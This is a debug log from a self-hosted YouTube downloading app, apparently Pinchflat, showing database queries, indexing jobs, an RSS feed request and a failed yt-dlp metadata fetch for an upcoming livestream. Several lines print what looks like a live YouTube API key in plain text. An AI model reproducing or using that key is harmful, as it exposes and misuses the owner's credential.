s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:58.277 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:58.411 [debug] QUERY OK source="media_items" db=0.6ms idle=133.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:17:58.421 [debug] QUERY OK source="media_items" db=9.5ms idle=135.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:17:58.440 [debug] QUERY OK source="tasks" db=0.9ms idle=1.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800192, 1, ~U[2026-02-10 23:17:58Z], ~U[2026-02-10 23:17:58Z]] 17:17:58.441 [info] {"args":{"id":1},"id":3800153,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":164187,"event":"job:stop","queue_time":545523,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:59.212 [info] {"source":"oban","duration":10326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.068 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:29.223 [info] {"source":"oban","duration":10622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:59.234 [info] {"source":"oban","duration":10139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.069 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:16.854 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 17:19:16.854 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 17:19:16.855 [debug] QUERY OK source="sources" db=0.1ms idle=1505.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 17:19:16.864 [debug] QUERY OK source="media_items" db=9.4ms idle=977.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:19:16.866 [debug] QUERY OK source="source_metadata" db=0.1ms idle=988.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:19:16.866 [debug] QUERY OK source="media_metadata" db=0.0ms idle=988.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564180] 17:19:16.867 [info] Sent 200 in 12ms 17:19:29.242 [info] {"source":"oban","duration":7609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:59.251 [info] {"source":"oban","duration":8644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.070 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:29.263 [info] {"source":"oban","duration":10805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:45.448 [info] {"args":{"id":37},"id":3800154,"meta":{},"system_time":1770765645448368896,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:45.448 [debug] QUERY OK source="sources" db=0.1ms idle=1007.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:20:45.449 [debug] QUERY OK source="settings" db=0.7ms idle=570.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.450 [debug] QUERY OK source="media_profiles" db=0.7ms idle=571.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:45.452 [debug] QUERY OK source="settings" db=1.8ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.452 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:20:45.452 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.452 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:20:45.598 [debug] QUERY OK source="media_items" db=0.8ms idle=148.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:20:45.598 [debug] QUERY OK source="settings" db=0.1ms idle=149.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.598 [debug] QUERY OK source="settings" db=0.0ms idle=148.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.598 [debug] Running yt-dlp command for action: get_media_attributes 17:20:45.600 [debug] QUERY OK source="settings" db=0.0ms idle=148.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.600 [debug] QUERY OK source="settings" db=0.0ms idle=148.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.601 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:45.601 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/df/c8/dfc80c7d65559abbda2c8cf9058df4f0be7c5a34314571cd7147903f91f5cd68.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:20:47.041 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/df/c8/dfc80c7d65559abbda2c8cf9058df4f0be7c5a34314571cd7147903f91f5cd68.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:20:47.041 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:20:47.042 [debug] QUERY OK source="media_items" db=1.0ms idle=598.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:20:47.043 [debug] QUERY OK source="tasks" db=0.1ms idle=165.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800193, 37, ~U[2026-02-10 23:20:47Z], ~U[2026-02-10 23:20:47Z]] 17:20:47.044 [info] {"args":{"id":37},"id":3800154,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1595464,"event":"job:stop","queue_time":244386,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:59.275 [info] {"source":"oban","duration":11473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.071 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:29.287 [info] {"source":"oban","duration":11070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:59.298 [info] {"source":"oban","duration":10081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.072 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:29.309 [info] {"source":"oban","duration":10463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:59.320 [info] {"source":"oban","duration":10046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.073 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:29.329 [info] {"source":"oban","duration":8679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:59.338 [info] {"source":"oban","duration":8217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.074 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:29.347 [info] {"source":"oban","duration":7761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:59.355 [info] {"source":"oban","duration":7554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.075 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:29.364 [info] {"source":"oban","duration":7814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:59.373 [info] {"source":"oban","duration":7883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.076 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:29.381 [info] {"source":"oban","duration":7720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:32.802 [info] {"args":{"id":30},"id":3800155,"meta":{},"system_time":1770765992802342139,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:32.803 [debug] QUERY OK source="sources" db=0.9ms idle=1924.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:26:32.804 [debug] QUERY OK source="settings" db=0.7ms idle=1925.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:32.805 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1009.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:32.806 [debug] QUERY OK source="settings" db=0.7ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:32.806 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:26:32.806 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:32.806 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:32.924 [debug] QUERY OK source="media_items" db=0.5ms idle=120.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 17:26:32.925 [debug] QUERY OK source="media_items" db=0.2ms idle=120.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 17:26:32.926 [debug] QUERY OK source="tasks" db=0.4ms idle=119.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800194, 30, ~U[2026-02-10 23:26:32Z], ~U[2026-02-10 23:26:32Z]] 17:26:32.926 [info] {"args":{"id":30},"id":3800155,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124155,"event":"job:stop","queue_time":466088,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:33.803 [info] {"args":{"id":17},"id":3800156,"meta":{},"system_time":1770765993803849314,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:33.804 [debug] QUERY OK source="sources" db=0.1ms idle=877.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 